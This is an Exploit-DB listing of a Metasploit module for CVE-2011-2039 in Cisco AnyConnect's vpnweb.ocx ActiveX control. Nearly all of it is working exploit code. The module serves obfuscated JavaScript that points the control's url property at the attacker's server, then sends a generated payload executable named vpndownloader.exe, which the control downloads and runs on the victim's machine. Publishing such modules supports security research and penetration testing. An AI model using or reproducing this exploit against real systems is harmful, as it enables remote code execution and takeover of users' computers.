标题: Cisco AnyConnect VPN Client - ActiveX URL Property Download and Execute (Metasploit) EDB-ID: 17366 CVE: 2011-2039 类型: REMOTE 平台: WINDOWS 发布日期: 2011-06-06 漏洞利用脚本: ##
# $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
   'Description'    => %q{
     This module exploits a vulnerability in the Cisco AnyConnect VPN client 
    vpnweb.ocx ActiveX control. This control is typically used to install the 
    VPN client. An attacker can set the 'url' property which is where the control
    tries to locate the files needed to install the client.

     The control tries to download two files from the site specified within the
    'url' property. One of these files it will be stored in a temporary directory and 
    executed.
     },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'bannedit' ],
   'Version'        => '$Revision: 12872 $',
   'References'     =>
    [
     [ 'CVE', '2011-2039' ],
     [ 'OSVDB', '72714'],
     [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
     [ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
    ],
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic',
       {
        'Arch' => ARCH_X86
       } 
     ],
    ],
   'DisclosureDate' => 'Jun 01 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
   ], self.class)
 end

 def on_request_uri(cli, request)

  if request.uri.match(/vpndownloader\.exe/)
   exe = generate_payload_exe({:code => payload.encoded})

   print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
   send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
   select(nil, nil, nil, 5) # let the file download 
   handler(cli)
   return
  end
  
  if request.uri.match(/updates\.txt/)
   print_status("Client requested: #{request.uri}. Sending updates.txt")
   updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
   send_response(cli, updates, { 'Content-Type' => 'text/plain' })
   return
  end

  url = get_uri(cli)

  dir = rand_text_alpha((rand(40) + 1))
  js = ::Rex::Exploitation::JSObfu.new %Q|
  var x = document.createElement("object"); 
  x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
  x.url = "#{url}/#{dir}/";
|
  js.obfuscate
  html = "<html>\n\t<script>#{js}\t</script>\n</html>"
  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
  send_response_html(cli, html)
 end
end URL: https://www.exploit-db.com/exploits/17366